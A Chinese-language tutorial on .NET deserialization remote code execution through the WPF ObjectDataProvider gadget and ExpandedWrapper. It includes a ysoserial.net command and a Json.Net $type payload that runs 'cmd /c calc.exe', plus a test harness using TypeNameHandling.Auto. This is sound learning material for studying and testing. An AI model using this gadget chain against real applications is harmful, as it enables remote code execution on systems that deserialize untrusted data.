这篇文章致力于理解如何利用ObjectDataProvider这个工具来获得RCE,以及如何利用Serialization库Json.Net和xmlSerializer与该工具进行滥用。
ObjectDataProvider Gadget
根据文档:ObjectDataProvider类封装并创建一个可以用作绑定源的对象。
是的,这个解释有点奇怪,所以让我们看看这个类有什么有趣的地方:这个类允许封装一个任意对象,使用_MethodParameters_来设置任意参数,然后使用MethodName调用任意对象的任意函数,使用任意参数声明。
因此,任意对象将在反序列化时执行一个带有参数的函数。
这怎么可能
System.Windows.Data命名空间在C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
中的PresentationFramework.dll内定义和实现了ObjectDataProvider。
使用dnSpy你可以检查我们感兴趣的类的代码。在下面的图像中,我们看到PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称的代码。
如你所见,当MethodName
被设置时,调用了base.Refresh()
,让我们看看它的作用:
好的,让我们继续看看this.BeginQuery()
的作用。BeginQuery
被ObjectDataProvider
重写,这就是它的作用:
请注意,在代码的末尾调用了this.QueryWorke(null)
。让我们看看它执行了什么:
请注意,这不是QueryWorker
函数的完整代码,但它显示了有趣的部分:代码调用了this.InvokeMethodOnInstance(out ex);
这是方法集被调用的那一行。
如果你想检查仅仅设置_MethodName_**就会被执行**,你可以运行以下代码:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
注意,您需要添加作为引用 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll 以加载 System.Windows.Data
ExpandedWrapper
使用之前的漏洞,将会有一些情况,其中 对象 将被 反序列化为 一个 ObjectDataProvider 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 GetType
反序列化的)。然后,将对 ObjectDataProvider 实例中封装的 对象类型没有任何了解(例如 Process
)。您可以在这里找到更多关于 DotNetNuke 漏洞的信息。
这个类允许指定封装在给定实例中的对象的类型。因此,这个类可以用来将源对象 (ObjectDataProvider) 封装到一个新的对象类型中,并提供我们需要的属性 (ObjectDataProvider.MethodName 和 ObjectDataProvider.MethodParameters)。
这在之前提到的情况中非常有用,因为我们将能够将 _ObjectDataProvider** 包装在一个 **ExpandedWrapper _ 实例中,并且 在反序列化时 这个类将 创建 OjectDataProvider 对象,该对象将 执行 在 MethodName 中指示的 函数。
您可以使用以下代码检查这个包装器:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
在官方网站上指出,该库允许使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象。因此,如果我们能够反序列化ObjectDataProvider小工具,我们可以仅通过反序列化一个对象来导致RCE。
Json.Net示例
首先,让我们看一个如何使用这个库序列化/反序列化对象的示例:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
滥用 Json.Net
使用 ysoserial.net 我创建了这个漏洞:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
在这段代码中,你可以测试漏洞,只需运行它,你将看到一个计算器被执行:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}